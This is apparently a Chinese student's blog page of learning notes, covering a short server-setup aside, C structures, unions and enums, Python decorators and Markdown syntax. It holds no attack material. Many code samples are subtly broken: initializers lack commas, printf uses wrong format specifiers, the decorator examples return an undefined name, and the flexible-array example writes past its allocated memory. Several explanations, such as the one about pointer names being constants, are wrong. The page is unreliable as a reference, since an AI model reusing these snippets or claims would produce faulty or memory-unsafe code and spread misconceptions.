  接着为新项目建立一个新的mysql账户,一定要安装php7.x-mysqli的包,否则 mysqliconnect() 将无法使用.安装php-curl

  开始干活吧.

ps:我不小心重装了系统,结果又蹦了,首先是apache,接着是php版本冲突要用a2enmod php7.*修改。
我又双重装了系统,这次提供的node版本是11.0,根本不支持之前的版本,踏马只能用 npm rebuild node-sass –force 回滚原先的版本。
2018-12-02

对C结构的理解

记录一下学习C结构的想法


我认为结构这种数据类型为C++奠定了面向对象的基础。这是一种很自由的数据类型,我们甚至可以用指针和结构实现面向对象。

  • 关于结构的声明

    1
    2
    3
    4
    struct name{  
     type1 a;
     type2 b;  
    }; //注意这里的分号

    这里的声明并未创建一个实际的数据对象,而是描述了这类对象的元素形式,我们也可以将结构声明称之为模板,因为他勾勒出数据将如何存储。
    之后我们声明name结构的变量:

    1
    struct name dyf;

    当编译器读到这条指令时,它将以name模板为dyf分配内存空间,即使未初始化,该结构的大小也由type1 与 type2 的大小决定。这就意味着结构的大小可能会大于数据集本身,因为系统对数据的对齐要求会导致存储裂缝。
    再者,我们可以如下声明:

    1
    2
    3
    4
    struct name {  
      type1 a;
      type2 b;  
    } dyf;

    即声明结构与定义结构的过程合二为一,如果要多次使用一个模板我们也可以用typedef。

  • 关于结构的初始化
    1
    2
    3
    4
    5
    6
    7
    8
    9
    struct book {  
    char name[20];
    int weight[20];
    };

    struct book math{
    "高等数学"
    20
    };

非指定初始化应当保持初始化项目与结构成员类型一一对应。
而指定初始化则类似于数组:

1
2
3
4
5
 
struct book dyf{
.name="高等数学",
.weight=10
};

其中的.name类似于数组的下标,寻址自然与数组类似。


  • 关于结构数组的声明
1
2
struct book library[20];
library[2].name="高等数学"; //代表library的第三个元素的那么成员

此时,[2]是library的下标,应当注意区别:

1
2
library[2].name;
library.name[2];

后者指的是library的第一个成员的name的第三个字符。


  • 关于嵌套结构

有时候我们会在一个结构中嵌套另一个结构例如:

1
2
3
4
5
6
7
8
9
10
struct name{ 
char firstname[20];
char lastname[20];
};

struct person {
struct name dyf;
int age;
int height;
};

只需在外层结构中声明即可,同理,使用两次点运算符进行访问:

1
person.dyf.name="dyf";

  • 指向结构的指针
    我们可以通过指针来传递并访问结构,这种操作非常舒服。
  • 声明与初始化指针:
1
2
3
4
5
6
7
8
9
struct person {
struct name dyf;
int age;
int height;
};

struct person * p; //定义一个只想person结构类型的指针p

p = &dyf; //将dyf的地址赋值给指针p

p指针在被定义后只能指向person的结构类型,储存person结构的地址。
与数组不同的是,结构的名并不代表首个成员的地址,因此必须使用&操作符。

  • 指向结构的指针

我们可以通过指针来传递并访问结构,这种操作非常舒服。

  • 声明与初始化指针:
1
2
3
4
5
6
7
8
9
10
11
12
struct person {
struct name dyf;
int age;
int height;
};

struct person * p; //定义一个指向person结构类型的指针p

p = &dyf; //将dyf的地址赋值给指针p

struct book * m;
m = &library[2]; //同理,结构数组内的结构如图赋值

p指针在被定义后只能指向person的结构类型,储存person结构的地址。
与数组不同的是,结构的名并不代表首个成员的地址,因此必须使用&操作符。

  • 使用指针访问成员:
    此时我们可以引入一个新的运算符”->”。例如:

    1
    2
    3
    4
    5
    m->name == library[2].name;

    m == &library[2]; //m存的地址即为library[2]的地址

    printf("%d",m->name); //打印library[2].name 即高等数学

m -> value 此操作符意味着取m地址中存的结构的成员,即:

1
m -> value.name == (*m).name == library[2].name;
注意:`' * '` 的运算级大于` ' . '` 使用时注意加()

  • 向函数传递结构

只要结构具有单个值的数据类型,即:int及其相关类型、char、float、double、指针等,就可以把它作为一个参数传递给函数,如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include<stdio.h>
struct name{
char firstname[20];
char lastname[20];
};
struct person {
struct name myname;
int age;
int height;
};
void getInfo(struct person * p);
void outIbfo(struct person * p);
int main(void){
struct person dyf;
struct person * p;
p = &dyf;
getInfo(p);
outInfo(p);
return 0;
}

void getInfo(struct person * p){
printf("please enter your firstname\n");
scanf("%s",&((*p).myname.firstname)); //注意理解这里
printf("please enter your last name\n");
scanf("%s",&((p->myname).lastname)); //注意理解这里
printf("please enter your age\n");
scanf("%d",&(p->age));
printf("please enter your height\n");
scanf("%d",&(p->height));
}

void outInfo(struct person * p){
printf("\nname\t);
printf("%s %s\n",(p->myname).firstname,(p->myname).lastname);
printf("age %d\n",p->age);
printf("height %d\n",p->height);
}

以上是利用指针来传递结构参数,应当深刻理解’->’的意义。

1
p->dyf;    //这仅仅是获得dyf变量的名而不是其地址  等价于(*dyf)

scanf()需要传递给地址,因此我们需要使用&操作符。如果你理解了以上两种寻址方式,那么你对->的理解算是合格了。但距离用结构和指针实现面向对象还有一定距离。顺便说一句,我们通常用结构和指针实现队列的数据结构,好好理解指针吧。

当然除了以上这种用指针传递参数的方式,我们还可以直接用结构的名传递参数。

1
2
3
4
5
6
7
8
struct yourmark {
int math;
int English;
};

double mark(struct yourmark mark ){
return mark.math + mark.English;
}

这种传参方式很自然也很好理解,但是这毕竟只是赋值给形参,因此如果想改变元数据,我们依旧要使用指针。

如果要返回struct则:

1
2
3
4
5
6
7
8
9
10
11
12
struct yourmark{
int math;
int English;
};
struct yourmark getmark(struct yourmark mark){ // 此处的返回类型为yourmark结构类型
printf("please enter your math mark and English mark\n");
scanf("%d%d",&(mark.math),&(mark.English));
return mark
}

struct yourmark mark;
mark = getmark(mark); // 注意,给结构赋值时直接用其名而不是其地址

同理,要返回指针只需要struct yourmark * mark getmark(struct yourmark mark)

好了到这里,把结构在函数里传来传去已经差不多说完了。


  • 复合文字和结构

C99引入了一些新的概念,比如变长数组(VLA)、复合文字(compound literal)、指针的兼容性等。

复合文字的意思:
假如我要给函数传递参数,我可以传递一个变量也可以传递一个常量,例如:

1
2
int a=2,b=3;
sum(a,b)==sum(2,3);

但是对于数组或者结构来讲我们之前没有说过常量这个概念,在传递参数时或者向另一结构传递时可能要定义新的变量,很浪费内存。此时,便引入了复合文字这一概念。
声明如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct person {
char name[20];
int age;
};

struct person guy; //定义一个person结构类型的结构

guy = (struct person){"dyf",18}; //把复合文字赋值给guy

outInfo((struct person){"麂皮"18}); //将一个匿名结构作为实参传递给函数

struct class23 {
(struct person){"dyf",18};
(struct person){"麂皮"18};
}; //将两个匿名结构传递给class23

-------------------------------------------------------------------

#include <stdio.h>
struct mark {
int math;
int English;
};
int mark(struct mark * p); //声明一个参数为mark结构的指针的函数
int main(void){
printf("%d",mark(&(struct mark ){150150})); //传递复合文字的地址
return 0;
}
int mark(struct mark * p){
return p->math + p->English;
}

/* 注:用G++编译会报错,因为其地址是temporary 而C99版本的GCC是可行的,因为临时具有自动储存时期,而在函数外具有静态储存时期 */

这是复合文字的大概用法,他能够创建一个匿名常量对象,直接在结构体或者函数中传递的常量。


  • 伸缩性数组成员

C99加入了一个成为伸缩性数组成员(flexible array member)的新特性,该特性允许结构的最后一个成员是一个具有特殊属性的数组结构,
该数组的属性之一就是他并不立即存在。创建规则如下:

  1. 伸缩性数组成员必须是最后一个成员
  2. 结构中至少有一个其他成员
  3. 像普通数组那样声明,只是长度不定,例:int a[];

如下:

1
2
3
4
struct mark{
int average;
char subjects[] //伸缩数组成员
};

此时subjects[]并未被创建,系统没有为他分配足够的内存空间。通常我们要使用伸缩数组时,都会为其先分配足够的内存空间。

1
2
struct mark * p;
p=malloc(sizeof(struct mark) + 20 * sizeof(char));

这时我们已经有足够的内存来存放一个mark型结构,并且他可以存放一个19个字符的字符串。没错,开辟的内存空间要能存放结构本身和所需大小的数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <malloc.h>
int main(void) {
struct flex{
int age;
char * name;
char * favobook[20]; //思考一下,他在main()中能直接赋值吗
int favonumber[];
};
struct flex * p;
p = malloc(sizeof(struct flex)+6* sizeof(int));
p->age=18;
p->favonumber[7]=1;
p->name="dyf";
printf("%s \t %d \t %d",p->name,p->age,p->favonumber[7]);
return 0;
}

这里我们声明里一个指针name,要注意在C语言中,字符串以数组的形式存储,也就是说其变量名实际是个地址,在我们对其进行声明时计算机已经为他在内存中开辟了空间,所以其地址实际上是个常量,即name是个常量。假如我要进行name="dyf";操作,编译器将报错。"dyf"的地址很明显与name本身冲突,故不能直接赋值。
这里我们看到favonumber能存8个整数,我也不知道为什么,回去查查资料再来修改。


  • 将结构存到文件中

结构的整套信息我们称之为记录(record),单个的项目称之为字段(field),下面,我们来进行讨论。
第一种方法,也是最笨拙的方法,使用fprinf()函数,例如:

1
2
3
4
5
6
7
struct book{
char title[20];
char author[20];
double value;
};
struct book math;
fprintf(books, "%9s %9s %7.2d",math.title,math.author,math.value);

我们使用%9s来固定输入格式,以便于下一次读取,这里的books是文件流。

第二种方法,我们可以使用fread()和fwrite()以结构大小为单位来进行读写,例如:

1
fwrite(&math,sizeof(struct book),1,books)

这时我们将定位到math的地址sizeof(struct book)将返回一块book结构的大小,'1'则告诉函数只需复制一块结构,最后将整个record写入books相关联的文件。同样fread()将record写入&math地址。


  • 衍生出的其他数据类型

通过对结构体进行封装,C中还有联合又称为共用体(union)、枚举(enumerated type)两种类型。首先,union声明如下:

1
2
3
4
union id{
char id_string[20];
int id_int;
};

假如一个物体的id有可能是整数,也有可能是字符串,那么我们可以用以上操作。
union并不是复合结构,这其中的声明的类型只能同时存在一种,也就是说id可以是字符串类型,也可以是int类型。
因此,我们可以声明一个union数组来存放不同类型的数据,这样就实现了混合数据类型存储。这种数据类型封装的方法与结构相同,同样支持. ->等运算符,但是其意义却完全不同。
其次,枚举类型声明如下:

1
2
3
4
5
6

enum subjects {math=,English=2,Chinese,CS};
enum subjects my_favo_subject;
for(my_favo_subject=math;my_favo_subject<=CS;my_favo_subject++){
printf("%d\n",my_favo_subject);
}

我们通常用枚举创建符号常量,例如,
math,CS是枚举常量,默认为int类型,math是枚举对象的首元素,其默认值为0,这就好比数组的下标,方便我们进行枚举。我们也可以给枚举常量一个指定值,例如上面English=2,那么,其后面的元素依次从2递增。由于枚举类型是一个整数类型,所以我们常将其用于表达式当中,方便进行逻辑判断或者运算。
注:
C语言支持枚举变量自增,即my_favo_subject++;但是C++不支持,注意代码兼容性。


  • 用结构实现链表

dyf is cool.


  • 用结构实现面向对象
2018-12-02

对装饰器的理解

关于python装饰器的思考:

我们首先应该对函数进一步了解
函数也可以被传递,比如:

1
2
3
4
5
def a():
print("a")
v = a
v()
输出结果为:a

这里我并没有加()即v = a(),因为v()此时将返回TypeError,而print(v)则由于无返回值而返回None


而v = a则将函数名作为参数传递,想要运行该函数只需要v(),此时print(v)将返回v的地址。
函数内也可以声明函数,但是此函数并不能在函数外访问,如:

如:

1
2
3
4
5
6
7
def a():
def v():
print('00')
v()
v()
此时运行结果为:00
NameError: name 'v' is not defined

  • 进一步理解函

函数也是可以被返回的

如果要返回函数,只需返回其函数名即可,其函数名将作为参数传递。如需调用则只需函数名加括号,在这里尤其要弄清楚传递和返回函数时该不该加括号。

如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def a(x):
def b():
print('dyf')
def c():
print('abc')
if x == '1':
return b
else:
return c
x = input('请输入')
v = a(x)
v()
则输出结果为:
请输入 1
dyf
请输入 2
abc

注:
如果想打印函数返回值一定要用输出函数,如果print(v())输出其返回值。
如果print(v)则输出其地址

函数内也可以定义函数,这种函数称之为内嵌函数,内嵌函数是私密的,因此不可在函数外调用,我们往
往将其作为返回值而进行调用。

return 可以返回多个值,其值可以被传递,但是应当注意,尽量不要用golbal返回值,涂添烦恼


  • 装饰器的实质

对于装饰器而言,实际上是一个函数,只不过其参数也是个函数。应当注意的是传递函数时应使用其函数名而不加括号,其函数名将作为参数而传递。

语法有如下两种:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1.def a(f):
def lmt():
print('abc')
f()
return abc
def dyf():
print('dyf')

dyf()
dyf = a(dyf)
dyf()
print(dyf.__name__)
输出结果为:
dyf
abc
dyf
abc #dyf函数的名和注释文档被重写(docstring)
=============================================================================
2.def a(f):
@wraps(f) @这个函数保留原函数名
def lmt():
print('abc')
f()
return abc
@a
def dyf():
print('dyf')
dyf()
输出结果为:
abc
dyf

以上两种方式效果完全相同,只是@方式是其简便写法,装饰器的本质即: 以函数调用函数的方式来对被调用函数进行修饰,但要注意 在函数调用的过程中应当以函数名作为参数 在执行函数时才加括号。

若要保留被装饰函数的真是名需要调用functools模块的wraps()函数,语法为 @wraps(f),实际上wraps()函数本身就是一个装饰器,只不过其参数是一个函数罢了。

Ps.这是我对装饰器的简单初步理解,以后会进一步补充。
2018-12-02

markdown-tutorial

记录一下markdown的语法


  • 语义标记:
描述 样式 代码
加粗 dyf ** dyf **
斜体 dyf * dyf *
加粗斜体 dyf * ** dyf ** *
删除线 dyf ~~ dyf ~~
  • 语义标签:
描述 样式 代码
上标 dyfs dyf<sup>s<sup>
下标 dyfs dyf<sub>s<sub>
键盘文本 Ctrl <kbd>Ctrl<kbd>

  • 标题:

code:

1
2
3
4
5
6
7
# dyf
## dyf
### dyf
#### dyf
##### dyf
###### dyf
####### dyf //错误的代码

demo:

dyf

dyf

dyf

dyf

dyf
dyf

#号之所以能加粗是因为markdown本质是用语法糖封装的html语言,而html只有6种title-size,所以最多加6个#号

  • 分级标题
    code:

    1
    2
    3
    4
      dyf
    =========
    Stella Del Mattino
    ---------

Demo:

dyf

Stella Del Mattino


  • 引用:

代码:

1
2
3
4
5
6
7
8
9
>dyf

>>is

>>>really

>>cool

>! //注意每行空开

Demo:

dyf

is

really

cool

!


  • 行内标记:

Demo:

PHP是世界上最好的语言

Code:

1
PHP是世界上`最好`的语言  //标记代码将变为一行

  • 代码块:

Demo:

1
printf("dyf is really cool");

Code:

1
2
3
` ` `C   //language
printf("dyf is really cool");
` ` `

不同的语言可以显示不同的高亮,但与主题有关。


  • 插入链接:

Demo:

  1. lavarel toturial
  2. codeforces

Code:

1
2
3
4
[lavarel torurial](http://laravel-china.org/docs/laravel/5.5/)

[codeforces][1]
[1]http://codeforces.com/ //这是引入式写法


  • 插入图片

Demo:

稻城

Code:

1
![稻城](https://github.com/Explainaur/dyf_Blog/blob/master/images/a.jpg?raw=true)

上传照片需要图床,可用github当图床,语法格式与链接一致。


到这里差不多就说完了,还有流程图和时序图没有讲,因为我的模板不兼容。

Ps:写道插入图片的时候我在听canon,这是世界上最好听的曲子,突然想起了和我一起去稻城亚丁的两个傻子。

1%